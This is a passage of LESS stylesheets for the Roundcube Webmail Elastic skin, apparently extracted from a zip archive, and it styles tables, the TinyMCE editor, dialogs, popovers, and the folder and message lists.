        color: @color-image-tools !important;

        &:focus,
        &:hover {
            background-color: @color-image-tools-hover !important;
            outline: 0;
        }
    }
}

.quota-info {
    width: 100%;
    display: table !important;

    td,th {
        text-align: center;
        white-space: nowrap;
    }

    th {
        border-top: 0;
    }

    .root {
        line-height: 1;
        font-style: italic;
        color: @color-popover-separator;
        background-color: @color-popover-separator-background;
    }

    th:first-child,
    .name {
        text-align: left;
    }
}

// Make Bootstrap tabs non-wrappable
.nav-tabs {
    flex-wrap: nowrap;

    .nav-item {
        white-space: nowrap;
        overflow: hidden;
    }

    .nav-link {
        .overflow-ellipsis();
    }
}

.props-table {
    td.title {
        width: 7em;
    }
}

.table-widget {
    display: flex;
    flex-direction: column;
    margin-bottom: .5rem;
    border: 1px solid @color-table-border;

    & > .content {
        overflow-x: auto;
        flex-grow: 1;
        height: 18.5em;

        table th {
            border-top: 0;
        }
    }

    & > .footer {
        height: 3.5rem;
        border-top: 1px solid @color-table-border;
        text-align: left;

        a {
            padding: .2rem .45rem !important;
            height: ~"calc(3.5rem - 1px)" !important;
        }
    }

    table {
        margin: 0;
        max-height: 18.5em;
    }

    // Options table is a table with first column for identifier/description
    // and other columns for a state flag. E.g. ACL table
    table.options-table {
        td,th {
            text-align: center;
            vertical-align: middle;

            &:first-child {
                .overflow-ellipsis();
                text-align: left;
            }
        }

        tr:last-child td {
            border-bottom: 1px solid @color-table-border;
        }

        tr.selected td {
            background-color: @color-table-selected-background;
            color: @color-table-selected;
            outline: 0;
        }

        td:not(:first-child) span {
            display: inline-block;
            line-height: 1.25;

            &:before {
                &:extend(.font-icon-class);
            }
        }

        td.enabled span:before {
            content: @fa-var-check;
        }

        td.partial span:before {
            opacity: .3;
            content: @fa-var-check;
        }
    }
}

table.compact-table {
    margin: 0;
    width: 100%;

    *:not(.invalid-feedback) {
        font-size: inherit;
    }

    td {
        padding: .25rem;
        border: 0;
    }

    td:first-child {
        padding-left: 0;
    }

    td:last-child {
        padding-right: 0;
    }
}

table.table {
    .checkbox-cell {
        width: 3rem;
        white-space: nowrap;
        overflow: hidden;
        text-align: center;
        padding: .5rem;

        html.touch & {
            padding: .5rem .3rem;
        }
    }

    th.checkbox-cell {
        padding: .75rem 0;
        max-width: 1rem;

        &:before {
            &:extend(.font-icon-class);
            cursor: pointer;
            margin: 0 1rem;
            line-height: 1;
        }

        &.subscription:before {
            content: @fa-var-rss-square;
        }

        &.alarm:before {
            .font-icon-regular(@fa-var-bell);
        }

        &.read:before {
            content: @fa-var-eye;
        }

        &.write:before {
            content: @fa-var-pencil-alt;
        }
    }

    .buttons-cell {
        width: 1%;
        white-space: nowrap;
        text-align: center;

        a.button:before {
            line-height: 1;
            float: none;
            display: inline-block;
        }

        @media screen and (min-width: @screen-width-xs) {
            a.button .inner {
                display: inline;
            }
        }
    }

    label {
        margin: 0;
        display: inline;
    }

    fieldset.tab-pane & thead th {
        border: 0;
    }

    tr.deleted td {
        color: @color-list-deleted !important;
    }
}

/* Bootstrap's .table style overwrites */
.table {
    thead th {
        border-width: 1px;
        white-space: nowrap;
    }
}
PKh�\LD�1�1(skins/elastic/styles/widgets/editor.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */


/*** Text Editor widget (and TinyMCE editor) ***/

// use of div.tox instead of just .tox is to have prio over TinyMCE styles
div.tox {
    font-size: 1rem;

    &, :not(.svg) {
        .font-family();
    }

    &.tox-tinymce {
        border-radius: .25rem;
        border: 1px solid @color-input-border;
    }

    &.focused {
        border-color: @color-input-border-focus !important;
        box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow !important;
    }

    .tox-toolbar-overlord {
        z-index: 1; // for sticky header feature

        & > div {
            // The svg is copied from TinyMCE with modified height params
            background: url("data:image/svg+xml;charset=utf8,%3Csvg height='33px' viewBox='0 0 40 33px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='32px' width='100' height='1' fill='%23cccccc'/%3E%3C/svg%3E");
            background-color: @color-input-addon-background;
        }
    }

    .tox-toolbar__primary {
        border-top: 0;
    }

    // This one is for mobile
    .tox-toolbar {
        background-color: @color-input-addon-background;
    }

    .tox-edit-area {
        border: 0;
    }

    .tox-dialog {
        border-radius: 0;
        border-color: @color-layout-border;
        box-shadow: none;
        align-self: unset !important;

        .tox-form__group {
            margin-top: 0;
            margin-bottom: .75rem;
        }

        .tox-dialog__body-nav-item--active {
            color: @color-link;
            border-color: transparent;

            &:hover {
                color: @color-link-hover;
            }
        }
    }

    .tox-dialog__body-content {
        overflow: unset;
    }

    .tox-dialog__content-js {
        overflow: auto;
    }

    .tox-dialog-wrap__backdrop {
        background-color: @color-dialog-overlay-background;
    }

    .tox-dialog__header {
        height: (@layout-header-height - 1px);
        border-bottom: 1px solid @color-dialog-header-border;
        justify-content: flex-end; // fixes close button position when dialog has no title
        padding: 0;

        .tox-button {
            color: @color-dialog-header;
            right: 0;
            height: (@layout-header-height - .7rem);
            width: 2.25em;
            margin-right: .4rem;

            &:hover {
                background: transparent;
                border-color: transparent;
            }

            .tox-icon {
                display: none;
            }

            &:before {
                &:extend(.font-icon-class);
                content: @fa-var-times;
                line-height: 1.5rem;
                margin: 0 !important;
            }
        }
    }

    .tox-dialog__footer {
        height: (@layout-footer-height - 1px) !important;
        border: 0;
        margin: 0;
        padding: 0 1rem;

        @media screen and (max-width: @screen-width-xs) {
            border-top: 1px solid @color-dialog-header-border;
        }

        & > div {
            white-space: nowrap;
            max-height: (@layout-footer-height - 1px);

            button:first-child {
                margin: 0;
            }
        }

        .tox-button {
            .btn-primary();
            font-weight: normal;
            padding: .5rem .75rem;

            &:before {
                &:extend(.font-icon-class);
                width: 1em;
                content: @fa-var-check;
                line-height: 1;
            }

            // this is redundant, but required because of tinymce styles interference
            &:focus:not(:disabled) {
                background: @color-btn-primary-background;
                border-color: @color-btn-primary-background;
            }

            &.tox-button--secondary {
                .btn-secondary();
                color: @color-btn-secondary;

                &:before {
                    content: @fa-var-times;
                }

                // this is redundant, but required because of tinymce styles interference
                &:focus:not(:disabled) {
                    background: @color-btn-secondary-background;
                    border-color: @color-btn-secondary-background;
                }
            }
        }
    }

    .tox-search-dialog {
        .tox-form__group:not(:first-child) {
            flex: initial !important;
        }

        .tox-dialog__footer-start {
            button {
                padding: .25rem;
            }
        }

        .tox-dialog__footer-end {
            button {
                &:before {
                    content: @fa-var-pencil-alt !important;
                }

                &:nth-of-type(1):before {
                    content: @fa-var-search !important;
                }
            }
        }
    }

    .tox-dialog__title {
        line-height: calc(@layout-header-height - 1px);
        font-size: 1.25rem;
        font-weight: bold;
        padding: 0 0 0 1rem;
        width: 100%;
        color: @color-dialog-header;
    }

    // Make toolbar buttons smaller
    .tox-tbtn {
        height: 28px;

        &:not(.tox-tbtn--select,.tox-split-button__chevron) {
            width: 32px;
        }
    }

    .tox-button {
        line-height: 1.5;
    }

    .tox-label {
        color: @color-font;
        padding-bottom: .25rem;
    }

    // Adding .form-control does not work with TinyMCE skins,
    // so we have to overwrite some props here
    .tox-color-input > input,
    .tox-listboxfield .tox-listbox--select,
    .tox-textarea,
    .tox-textfield {
        .font-family() !important;
        font-size: @page-font-size;
        line-height: 1.5;
        color: @color-font;
        border-radius: .25rem;
        min-height: 0;
        padding: .375rem .75rem;

        &:focus {
            border-color: @color-input-border-focus;
            box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow;
        }
    }

    .tox-listbox__select-label {
        margin: 0;
    }

    .tox-color-input span {
        top: 5px;
    }

    .custom-switch {
        position: relative;
        font-size: 1rem;
        margin-top: .15rem;

        .tox-checkbox__icons {
            display: none;
        }

        .tox-checkbox__label {
            margin: 0;
        }
    }

    .image-selector {
        font-size: 1rem;
        button {
            .btn-secondary();
            padding: .5rem .75rem;
            line-height: 1.5;
        }
    }

    // small fix for image dialog
    .tox-form__controls-h-stack div:not(:last-child) {
        flex: 1;
    }

    .tox-collection__item-label {
        white-space: nowrap; // fix TinyMCE bug
    }
}

@media screen and (max-width: @screen-width-xs) {
    div.tox {
        .tox-dialog {
            margin: 0 !important;
            width: 100% !important;
            height: 100%;
            left: 0 !important;
            top: 0 !important;
            border-width: 0 !important;
        }

        .tox-dialog__header {
            background-color: @color-layout-mobile-header-background;

            .tox-button {
                display: none;
            }
        }

        .tox-dialog__title {
            font-size: 1rem;
            text-align: center;
            padding: 0 1rem;
        }

        .tox-dialog__footer {
            background-color: @color-layout-mobile-footer-background;

            .tox-button {
                color: @color-font !important;
                background: transparent !important;
                padding: .45rem;
                margin: 0 !important;
                border: 0;
                font-size: 90%;

                &:before {
                    display: block;
                    float: none;
                    width: 100%;
                    margin: 0;
                    line-height: 1.75;
                    height: 1.75rem;
                }

                &:active,
                &:focus,
                &:hover {
                    background: transparent;
                    border: 0;
                    box-shadow: none;
                    color: @color-font;
                }
            }

            & > div {
                justify-content: space-evenly;
                display: flex;
                width: 100%;

                &:empty {
                    display: none;
                }
            }
        }
    }
}

/*** Media file selector for TinyMCE ***/

.image-selector {
    padding: 1rem .5rem 10rem .5rem !important;

    &.droptarget {
        border: .2rem dashed @color-table-border;

        &:after {
            margin-top: 2rem;
        }
    }

    form {
        position: absolute;
        top: 0;
    }

    .attachmentslist {
        margin: 0;
        overflow-x: hidden;
        overflow-y: auto;
        height: 19.1em;
        padding: 0 !important;

        li {
            padding: .25rem;
            cursor: pointer;

            &:before {
                display: none;
            }

            &:hover,
            &:focus {
                background: @color-list-selected-background;
            }

            span.name {
                flex: 1;
                margin: auto;
                padding-left: 1rem;
                .overflow-ellipsis();
            }

            span.img {
                height: 80px;
                width: 80px;
                display: flex;
                border: 1px solid @color-list-border;
                background: white;
                border-radius: .75rem;
                overflow: hidden;
            }

            img {
                margin: auto;
            }
        }

        html.layout-phone & {
            height: auto;
        }
    }
}


/*** HTML editor widget ***/

.html-editor {
    position: relative;
    margin-bottom: .2rem;

    .editor-toolbar {
        position: absolute;
        left: 1px;
        top: 1px;
        right: 1px;
        border-radius: .25rem .25rem 0 0;
        border-bottom: 1px solid @color-input-border;
        background-color: @color-input-addon-background;

        .mce-i-html {
            display: block;
            margin: 2px 2px 2px 4px;
            width: 34px;
            height: 28px;
            border-radius: .25rem;
            color: #222f3e; // from TinyMCE

            &:focus,
            &:hover {
                text-decoration: none;
                border-color: #e2e4e7;
                background-color: #dee0e2; // from TinyMCE
            }

            &:before {
                &:extend(.font-icon-class);
                content: @fa-var-image;
                margin: 0;
                width: 34px;
                line-height: 28px;
            }

            &[disabled] {
                opacity: .7;
                cursor: not-allowed;
            }
        }
    }

    // hide toolbar in html mode and in mailvelope mode
    &.mailvelope .editor-toolbar,
    .tox-tinymce + .editor-toolbar {
        display: none;
    }

    & > .googie_edit_layer,
    & > textarea {
        font-family: monospace;
        font-size: 13px;
        width: 100% !important;
        padding-top: 40px;
        resize: none;
    }

    & > iframe { // e.g. mailvelope frame
        border-radius: .3rem;
        border: 1px solid @color-input-border;
        min-height: 30em;
    }
}


/*** GoogieSpell widget ***/

.googie_window {
    width: 16rem;
    height: auto;
}

.googie_edit_layer {
    font-family: monospace;

    // from Bootstrap's textarea
    padding: .5rem .75rem;
    border: 1px solid @color-input-border;
    border-radius: .3rem;
    line-height: 1.5;
}

.googie_link {
    color: @color-spellcheck-link;
    text-decoration: underline;
    cursor: pointer;
}

.googie_list {
    li {
        min-width: 8rem;
        width: auto;

        &.googie_list_onhover {
            color: @color-menu-hover;
            background-color: @color-menu-hover-background;
        }

        .googie_list_revert:before {
            &:extend(.font-icon-class);
            content: @fa-var-undo;
        }

        .googie_add_to_dict:before {
            &:extend(.font-icon-class);
            content: @fa-var-plus-square;
        }
    }

    input {
        display: inline-block;
        margin: .25rem .5rem;
    }
}
PKh�\�5�n--)skins/elastic/styles/widgets/dialogs.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Dialogs and popovers ***/

.popupmenu {
    display: none;
    padding: 0;
    min-width: 180px;
    height: 100%;

    li > a {
        width: 100%;
    }

    &.propform {
        overflow: hidden;
        padding: .25rem; // so overflow do not truncate focus outline on inputs
    }

    &.simplelist {
        min-width: 80px;
    }
}

.popup.justified {
    display: flex;
    justify-content: space-around;
}

.popover-body {
    padding: 0;
    overflow-x: hidden;

    & > .popupmenu {
        display: block !important;
    }
}

.popover {
    box-shadow: 3px 3px 5px @color-popover-shadow;
    border-color: @color-layout-border;
    padding: 0;
    z-index: 1300;

    .popover-header {
        // On mobile don't display popup arrows and titles
        display: none;
    }

    @media screen and (min-width: (@screen-width-small + 1px)) {
        .listing {
            li:first-child {
                border-radius: .25rem .25rem 0 0;
            }

            li:last-child {
                border-bottom-right-radius: .25rem;
                border-bottom-left-radius: .25rem;
            }

            ul.rounded-0 > li {
                border-radius: 0;
            }
        }
    }
}

html.layout-small,
html.layout-phone {
    .popover:not(.select-menu) {
        margin: 0 !important;
        padding: 0;
        right: 0;
        left: initial !important;
        bottom: 0;
        top: 0;
        width: @layout-mobile-menu-width;
        transform: none !important;
        border-radius: 0;
        border: 0;
        display: flex;
        flex-direction: column;
        box-shadow: none;

        div.arrow {
            display: none;
        }

        .listing li:last-child {
            border-bottom: 1px solid @color-list-border;
        }
    }

    .popover-overlay {
        z-index: 1299;
        background-color: @color-dialog-overlay-background;
        position: absolute;
        top: 0;
        bottom: 0;
        width: 100%;
    }

    .popover-header {
        display: block;
        border-radius: 0;
        border: 0;
        padding: 0 .5em;
        height: @layout-touch-header-height;
        min-height: @layout-touch-header-height; // for when it's a flex item
        line-height: @layout-touch-header-height;
        font-size: @layout-touch-header-font-size;
        color: @color-popover-mobile-header;
        background-color: @color-popover-mobile-header-background;

        &:before {
            display: none; // hide the Bootstrap's popover arrow element
        }

        a {
            display: inline-block;
            width: 100%;
            color: @color-popover-mobile-header;
        }
    }

    .popover-body > * {
        max-height: 100% !important;
    }
}

html.touch .popover {
    .listing {
        li a {
            line-height: @layout-touch-menu-record-height;
            font-size: @layout-touch-menu-record-font-size;
            padding: 0 .5em;

            &:before {
                float: left; // overwrite icon float to have unified element height
            }
        }
    }
}

.select-menu {
    max-width: initial;
    margin: 0;
    height: auto;
    z-index: 1301; // above TinyMCE dialogs

    .popover-header {
        border-radius: .25rem .25rem 0 0 !important;
    }

    .listing li {
        a {
            padding-left: .25rem;
            outline: 0; // for Android browser
        }

        &:last-child {
            border-bottom-right-radius: .25rem;
            border-bottom-left-radius: .25rem;
        }
    }

    // Use 'inline' class for menus that have a list elements with no <a> inside
    // and no header
    &.inline {
        .listing li {
            padding-right: .5rem;

            &:first-child {
                border-top-left-radius: .25rem;
                border-top-right-radius: .25rem;
            }
        }
    }
}

/** PGP Key search/import dialog **/

.pgpkeyimport {
    div.key {
        position: relative;
        padding: .5rem 0;

        &.revoked,
        &.disabled {
            color: @color-list-secondary;
        }

        label {
            display: inline-block;
            margin-right: 0.5em;
            margin-bottom: 0;

            &:after {
                content: ":";
            }

            &.keyid {
                display: none;
            }
        }

        label + a,
        label + span {
            line-height: 2.6rem;
            margin-right: 1em;
            white-space: nowrap;
            text-decoration: none;
        }

        label.keyid + a {
            font-weight: bold;

            &:before {
                &:extend(.font-icon-class);
                content: @fa-var-key;
            }
        }
    }

    ul.uids {
        margin: 0;
        padding: 0;
    }

    li.uid {
        border: 0;
        padding: .25rem 0 0 1.5em;
        line-height: 1.5rem !important;
        list-style-type: none;

        &:before {
            &:extend(.font-icon-class);
            content: @fa-var-user;
            opacity: 0.25;
            font-size: 1em;
            line-height: 1.25;
        }
    }

    button.importkey {
        position: absolute;
        top: .5rem;
        right: 0;
    }

    button:disabled {
        display: none;
    }
}
PKh�\���¾\�\'skins/elastic/styles/widgets/lists.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** List and treelist widgets ***/

.listing {
    tbody td,
    li {
        border-bottom: 1px solid @color-list-border;
        cursor: default;
        font-weight: normal;
        line-height: @listing-line-height;
    }

    tbody td,
    li a {
        padding: 0 .5rem;
        white-space: nowrap;
        vertical-align: middle;
        color: @color-list;
    }

    tbody td {
        .overflow-ellipsis();
        outline: none;

        a {
            color: @color-list;
        }
    }

    li a {
        display: block;
        text-decoration: none;
        cursor: default;
        width: 100%;
    }

    li.selected,
    tr.selected td {
        color: @color-list-selected;
        background-color: @color-list-selected-background;
    }

    td.selection {
        padding: 0 0 0 .5em;
        width: 2em;
        text-align: center;

        & > input {
            vertical-align: middle;
        }
    }

    &:not(.withselection) td.selection {
        display: none;
    }

    td.name {
        .overflow-ellipsis();
    }

    td.action {
        padding: 0 .5em;
        width: 2em;
        text-align: center;

        &:empty {
            width: 0;
        }

        a {
            display: block;
            overflow: hidden;
            text-decoration: none;

            &:before {
                &:extend(.font-icon-class);
                margin: 0;
                font-size: 1rem;
            }
        }

        a.pushgroup:before {
            content: @fa-var-chevron-right;
        }
    }

    li.droptarget > a,
    tr.droptarget > td {
        background-color: @color-list-droptarget-background;
    }

    li.disabled,
    tr.disabled td {
        color: @color-list-deleted;
    }

    li > a.virtual,
    li.virtual > a {
        opacity: .4;
    }

    span.secondary {
        color: @color-list-secondary;
    }
}

// Focus indicator
html:not(.touch) {
    .listing {
        li > a,
        tbody tr > td:first-child,
        &:not(.withselection) tbody tr > td.selection + td {
            border-left: 2px solid transparent;
        }

        li > a:focus,
        &.focus tbody tr.focused > td:first-child,
        &.focus:not(.withselection) tbody tr.focused > td.selection + td {
            border-left: 2px solid @color-list-focus-indicator;
            outline: 0;
        }
    }
}

table.listing {
    width: 100%;
    table-layout: fixed;
    // border-spacing/border-collapse here fix problem with our focus indicator
    // when the table cells use overflow: hidden. I.e. we use border-spacing:0
    // instead of Bootstrap's border-collapse:collapse. Is this cross-browser?
    border-spacing: 0;
    border-collapse: unset;
}

ul.listing {
    margin: 0;
    padding: 0;

    & > ul {
        padding: 0;
    }

    li {
        .overflow-ellipsis();
        white-space: nowrap;
        position: relative;
        list-style: none;

        ul {
            border-top: 1px solid @color-list-border;
            padding-left: 1.5em;

            li:last-child {
                border-bottom: none;
            }
        }

        .custom-switch {
            position: absolute;
            padding: 0;
            top: 0;
            right: 0;
            height: @listing-line-height;
            vertical-align: middle;

            .custom-control-label {
                &:before,
                &:after {
                    margin-top: .4rem;

                    html.touch & {
                        margin-top: .75rem;
                    }
                }
            }

            html.touch & {
                height: @listing-touch-line-height;
            }
        }
    }

    &.simplelist {
        li {
            padding: 0 .5rem;
        }
    }
}

.listing-info {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    width: 80%;
    text-align: center;
    font-weight: bold;
    color: @color-list-secondary;
}

html.touch {
    .listing:not(.toolbar) li,
    .listing tbody td {
        line-height: @listing-touch-line-height;
        font-size: 1.2rem;
    }

    li input[type=checkbox] {
        height: @listing-touch-line-height;
    }

    td.selection {
        padding: 0;
        width: 3em;
    }
}

@media screen and (max-width: @screen-width-large) {
    .listing.selection-large-only {
        li.selected {
            color: @color-list;
            background-color: transparent;
        }
    }
}


/* icons */

.listing.iconized li {
    a:before {
        &:extend(.font-icon-class);
        height: 2em; // TODO: ?
        margin-right: .5rem;
    }
    &.preferences > a:before {
        content: @fa-var-sliders-h;
    }
    &.folders > a:before {
        content: @fa-var-folder;
    }
    &.responses > a:before {
        content: @fa-var-comment;
    }
    &.identities > a:before {
        content: @fa-var-id-card;
    }
    &.password > a:before {
        content: @fa-var-lock;
    }
    &.addressbook a:before {
        .font-icon-regular(@fa-var-address-book);
    }
    &.contactgroup a:before {
        .font-icon-solid(@fa-var-users);
    }
    &.contactsearch a:before {
        content: @fa-var-search;
    }
    &.filter > a:before {
        content: @fa-var-filter;
    }
    &.vacation > a:before {
        .font-icon-regular(@fa-var-clock);
    }
    &.forward > a:before {
        content: @fa-var-share-square;
    }
    &.enigma.keys > a:before {
        content: @fa-var-key;
    }
    &.info > a:before,
    &.userinfo > a:before {
        content: @fa-var-info-circle;
    }
    &.twofactorauth > a:before {
        content: @fa-var-sign-in-alt;
    }

    a.help:before {
        content: @fa-var-life-ring;
    }
    a.about:before {
        .font-icon-regular(@fa-var-question-circle);
    }
    a.license:before {
        content: @fa-var-shield-alt;
    }

    // autocomplete popup
    & > i:before {
        &:extend(.font-icon-class);
        content: @fa-var-user;
        margin-left: .5rem;
    }
    &.group > i:before {
        content: @fa-var-users;
    }
}

html.ie11 .listing.iconized li a:before {
    font-size: 1.25rem;
}

.listing.iconized tr {
    td:before {
        &:extend(.font-icon-class);
        margin-right: .5rem;
    }
    &.contact.person td.name:before {
        content: @fa-var-user;
    }
    &.contact.group td.name:before {
        content: @fa-var-users;
    }
    &.general > td.section:before {
        content: @fa-var-desktop;
    }
    &.mailbox > td.section:before {
        .font-icon-regular(@fa-var-envelope);
    }
    &.mailview > td.section:before {
        content: @fa-var-inbox;
    }
    &.compose > td.section:before {
        content: @fa-var-paper-plane;
    }
    &.addressbook > td.section:before {
        content: @fa-var-users;
    }
    &.folders > td.section:before {
        .font-icon-regular(@fa-var-folder);
    }
    &.server > td.section:before {
        content: @fa-var-server;
    }
    &.encryption > td.section:before {
        content: @fa-var-lock;
    }
    &.calendar > td.section:before {
        content: @fa-var-calendar;
    }
    &.chat > td.section:before {
        content: @fa-var-comments;
    }
}

/* selectable list: e.g. spellcheck language selection */
.listing.iconized.selectable li {
    a:before {
        &:extend(.font-icon-class);
        content: "";
    }
    a.selected:before {
        content: @fa-var-check;
    }
}

.popupmenu .listing {
    li > a {
        border-left: 0;

        &:not(.disabled):hover {
            color: @color-menu-hover;
            background-color: @color-menu-hover-background;
        }
    }

    li.selected {
        color: @color-menu-hover;
        background-color: @color-menu-hover-background;
    }

    td {
        .overflow-ellipsis();
    }
}

ul.treelist {
    li {
        div.treetoggle {
            position: absolute;
            top: 0;
            left: 0;
            width: @listing-treetoggle-width;
            cursor: pointer;
            background-color: transparent;

            &:before {
                &:extend(.font-icon-class);
                content: @fa-var-angle-right;
                margin-left: .25em;
                font-size: 1em;
            }

            &.expanded:before {
                content: @fa-var-angle-down;
            }
        }

        & > a {
            .overflow-ellipsis();
            padding-left: @listing-treetoggle-width;
        }

        &.selected {
            // reset .listing selection style
            color: inherit;
            background-color: transparent;

            & > div > a, // this is used e.g. by kolab_addressbook
            & > a {
                color: @color-list-selected;
                background-color: @color-list-selected-background;
            }
        }

        ul {
            padding: 0;

            li {
                padding-left: 0;
                a { padding-left: (2 * @listing-treetoggle-width); }
                div.treetoggle { left: @listing-treetoggle-width; }

                li {
                    a { padding-left: (3 * @listing-treetoggle-width); }
                    div.treetoggle { left: (2 * @listing-treetoggle-width); }

                    li {
                        a { padding-left: (4 * @listing-treetoggle-width); }
                        div.treetoggle { left: (3 * @listing-treetoggle-width); }

                        li {
                            a { padding-left: (5 * @listing-treetoggle-width); }
                            div.treetoggle { left: (4 * @listing-treetoggle-width); }

                            li {
                                a { padding-left: (6 * @listing-treetoggle-width); }
                                div.treetoggle { left: (5 * @listing-treetoggle-width); }
                            }
                        }
                    }
                }
            }
        }
    }

    &.notree {
        div.treetoggle {
            display: none;
        }

        li > a {
            padding-left: .5em;
        }
    }
}

/*** Folders list widget ***/

.folderlist {
    li {
        &.mailbox {
            &.unread {
                & > a {
                    padding-right: 2.8em;
                    font-weight: bold;
                }
            }

            .unreadcount {
                position: absolute;
                top: 0;
                right: 0;
                min-width: 2em;
                line-height: 1.4rem;
                margin: ((@listing-line-height - 1.4 * @page-font-size) / 2);
                padding: 0 .3em;
                border-radius: .4em;
                background: @color-list-badge-background;
                color: @color-list-badge;
                text-align: center;
                font-weight: bold;

                html.touch & {
                    line-height: 2rem;
                    margin: ((@listing-touch-line-height - 2 * @page-font-size) / 2);
                }
            }

            &.recent {
                & > a {
                    color: @color-list-recent;

                    & > .unreadcount {
                        background: @color-list-recent-badge-background;
                        color: @color-list-recent-badge;
                    }
                }
            }

            &.root {
                display: none !important;
                // FIXME: This element is confusing, I propose to not use it
            }
        }

        a:before {
            &:extend(.font-icon-class);
            .font-icon-regular(@fa-var-folder);
            margin-right: .5rem;
        }

        &.inbox > a:before {
            .font-icon-solid(@fa-var-inbox);
        }
        &.trash a:before {
            .font-icon-solid(@fa-var-trash-alt);
        }
        &.trash.empty > a:before {
            .font-icon-regular(@fa-var-trash-alt);
        }
        &.drafts a:before {
            .font-icon-solid(@fa-var-pencil-alt);
        }
        &.sent a:before {
            .font-icon-solid(@fa-var-paper-plane);
        }
        &.junk a:before {
            .font-icon-solid(@fa-var-fire-alt);
        }
        &.archive > a:before {
            .font-icon-solid(@fa-var-archive);
        }
        &.ns-shared > a:before {
            .font-icon-solid(@fa-var-share-alt);
        }
        &.ns-other > a:before {
            .font-icon-solid(@fa-var-user-friends);
        }
    }

    // folder-selector fix for left padding
    &.menu a:before {
        margin-left: .5em;
    }
}


/*** Messages list widget ***/

.messagelist > thead,
.messagelist .branch,
table.fixedcopy {
    display: none;
}

.messagelist {
    td {
        border-left: 0;
        width: 2em;
        vertical-align: top;
        font-size: 1rem !important;
    }

    td.subject {
        width: 100%;
        padding-right: 0;
        display: flex;
        flex-wrap: wrap;

        a {
            text-decoration: none;
            cursor: default;
        }

        span {
            line-height: 2em;

            &.size,
            &.date {
                font-size: 90%;
                color: @color-list-secondary;
            }

            &.fromto {
                .overflow-ellipsis();
                flex: 1;
                font-size: 90%;
                color: @color-list-secondary;
                padding-left: 1.5em;
                padding-right: .5rem;
            }

            &.subject {
                .overflow-ellipsis();
                width: 100%;
                user-select: none
            }
        }
    }

    td.threads {
        padding: 0 0 0 .25rem;
        width: 1.5em;
    }

    td.flags {
        width: 2.5em;

        & > span {
            height: 1.7em;
            line-height: 1.7em;
            display: block;

            &.flag {
                cursor: pointer;
            }
        }
    }

    tr.flagged td,
    tr.flagged td.subject span.subject a,
    tr.flagged td.subject span.date,
    tr.flagged td.subject span.fromto {
        color: @color-list-flagged;
    }

    tr.deleted td,
    tr.deleted td.subject span.subject a,
    tr.deleted td.subject span.date,
    tr.deleted td.subject span.fromto {
        color: @color-list-deleted;
    }

    tr.unread td.subject span.subject {
        font-weight: bold;
    }

    // thread parent message with unread children
    tr.unroot td.subject a {
        text-decoration: underline;
    }

    tr.thread td.threads div:before {
        &:extend(.font-icon-class);
        content: @fa-var-angle-right;
        cursor: pointer;
        width: 1em;
    }

    tr.thread.expanded td.threads div:before {
        content: @fa-var-angle-down;
    }

    td.subject span.msgicon.status {
        &:before {
            &:extend(.font-icon-class);
            content: @fa-var-circle;
            cursor: pointer;
            font-size: .4rem;
            width: 1.1rem;
            height: 2rem;
        }

        &.unread:before {
            content: @fa-var-circle;
            color: @color-list-unread-status;
            font-size: .5rem;
        }

        &.unreadchildren:before {
            .font-icon-regular(@fa-var-circle);
            font-size: .5rem;
        }

        &.replied:before {
            .font-icon-solid(@fa-var-reply);
            font-size: 1rem;
        }

        &.forwarded:before {
            .font-icon-solid(@fa-var-share);
            font-size: 1rem;
        }

        &.replied.forwarded:before {
            .font-icon-solid(@fa-var-reply);
            font-size: 1rem;
        }

        &.replied.forwarded:after {
            &:extend(.font-icon-class);
            .font-icon-solid(@fa-var-share);
            font-size: 1rem;
            opacity: .5;
            margin: 0 -0.1em 0 -1.25em;
        }
    }

    tr.deleted td.subject span.msgicon.status {
        &:before {
            .font-icon-solid(@fa-var-ban) !important;
            font-size: 1rem;
        }

        &:after {
            display: none !important;
        }
    }

    span.attachment span {
        &:extend(.font-icon-class);
        color: @color-list-icon;

        &:before {
            margin: 0;
            content: @fa-var-paperclip;
        }
        &.report:before {
            .font-icon-regular(@fa-var-file-alt);
        }
        &.encrypted:before {
            content: @fa-var-lock;
        }
        &.vcard:before {
            .font-icon-regular(@fa-var-user); // vcard_attachments plugin
        }
    }

    span.flagged:before {
        &:extend(.font-icon-class);
        content: @fa-var-flag;
    }

    tr.flaggedroot:not(:hover) span.unflagged:before {
        &:extend(.font-icon-class);
        content: @fa-var-flag;
        color: @color-list-icon;
    }

    tr:hover span.unflagged:before {
        &:extend(.font-icon-class);
        .font-icon-regular(@fa-var-flag);
    }

    span.size {
        display: none;
    }

    tr:hover {
        span.date {
            display: none;
        }
        span.size {
            display: inline;
        }
    }

    &.sort-size {
        span.date {
            display: none;
        }
        span.size {
            display: inline;
        }

        tr:hover {
            span.date {
                display: inline;
            }
            span.size {
                display: none;
            }
        }
    }
}

// On touch devices hide flag icon, but do it in a way
// that saves as much room as possible, keeping the attachment icon
html.layout-phone,
html.touch {
    .messagelist {
        tr {
            position: relative;
            display: flex; // Safari fix (#8433)
        }

        td.selection,
        td.threads {
            line-height: 3.8em; // because of display:flex above
        }

        td.flags {
            position: absolute;
            top: .25rem;
            right: 0;
            bottom: 0;
            background-color: transparent;

            .flag {
                visibility: hidden;
            }
        }

        td.subject {
            padding-right: .5em;

            .subject {
                padding-right: 1.5rem;
            }
        }
    }
}


/* Contacts list */

.contactlist {
    .contact.readonly td {
        font-style: italic;
    }

    td.action {
        // TODO
        a {
            // TODO
        }
    }

    // for contacts list in mail compose
    td.contact:before {
